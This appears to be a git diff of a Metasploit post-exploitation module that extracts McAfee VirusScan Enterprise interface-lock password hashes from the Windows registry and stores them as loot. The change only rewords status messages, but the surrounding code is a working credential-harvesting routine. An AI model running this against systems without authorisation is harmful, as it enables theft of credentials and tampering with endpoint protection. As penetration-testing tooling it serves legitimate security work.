@@ -21,7 +21,7 @@ def initialize(info = {})
21
21
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump' ,
22
22
'Description' => %q(
23
23
This module extracts the password hash from McAfee Virus Scan
24
- Enterprise used to lock down the user interface.
24
+ Enterprise (VSE) used to lock down the user interface.
25
25
) ,
26
26
'License' => MSF_LICENSE ,
27
27
'Author' => [
@@ -37,17 +37,17 @@ def initialize(info = {})
37
37
end
38
38
39
39
def run
40
- print_status ( "Looking for McAfee password hashes on #{ sysinfo [ 'Computer' ] } ..." )
40
+ print_status ( "Looking for McAfee VSE password hashes on #{ sysinfo [ 'Computer' ] } ..." )
41
41
42
42
vse_keys = enum_vse_keys
43
43
if vse_keys . empty?
44
- vprint_error ( "McAfee Virus Scan Enterprise not installed or insufficient permissions" )
44
+ vprint_error ( "McAfee VSE not installed or insufficient permissions" )
45
45
return
46
46
end
47
47
48
48
hashes_and_versions = extract_hashes_and_versions ( vse_keys )
49
49
if hashes_and_versions . empty?
50
- vprint_error ( "No hashes extracted" )
50
+ vprint_error ( "No McAfee VSE hashes extracted" )
51
51
return
52
52
end
53
53
process_hashes_and_versions ( hashes_and_versions )
@@ -72,13 +72,13 @@ def extract_hashes_and_versions(keys)
72
72
keys . each do |key |
73
73
hash = registry_getvaldata ( key , "UIPEx" )
74
74
if hash . empty?
75
- vprint_error ( "No McAfee password hash found in #{ key } " )
75
+ vprint_error ( "No McAfee VSE password hash found in #{ key } " )
76
76
next
77
77
end
78
78
79
79
version = registry_getvaldata ( key , "szProductVer" )
80
80
if version . empty?
81
- vprint_error ( "No McAfee version key found in #{ key } " )
81
+ vprint_error ( "No McAfee VSE version key found in #{ key } " )
82
82
next
83
83
end
84
84
hash_map [ hash ] = Gem ::Version . new ( version )
@@ -97,11 +97,11 @@ def process_hashes_and_versions(hashes_and_versions)
97
97
hashtype = 'dynamic_1405'
98
98
version_name = 'v8'
99
99
unless version >= VERSION_8 && version < VERSION_9
100
- print_warning ( "Unknown McAfee version #{ version } - Assuming v8" )
100
+ print_warning ( "Unknown McAfee VSE version #{ version } - Assuming v8" )
101
101
end
102
102
end
103
103
104
- print_good ( "McAfee #{ version_name } (#{ hashtype } ) password hash: #{ hash } " )
104
+ print_good ( "McAfee VSE #{ version_name } (#{ hashtype } ) password hash: #{ hash } " )
105
105
106
106
credential_data = {
107
107
post_reference_name : refname ,
@@ -117,7 +117,7 @@ def process_hashes_and_versions(hashes_and_versions)
117
117
118
118
# Store McAfee password hash as loot
119
119
loot_path = store_loot ( 'mcafee.hash' , 'text/plain' , session , "mcafee:#{ hash } " , 'mcafee_hashdump.txt' , 'McAfee Password Hash' )
120
- print_status ( "McAfee password hash saved in: #{ loot_path } " )
120
+ print_status ( "McAfee VSE password hash saved in: #{ loot_path } " )
121
121
end
122
122
end
123
123
end
0 commit comments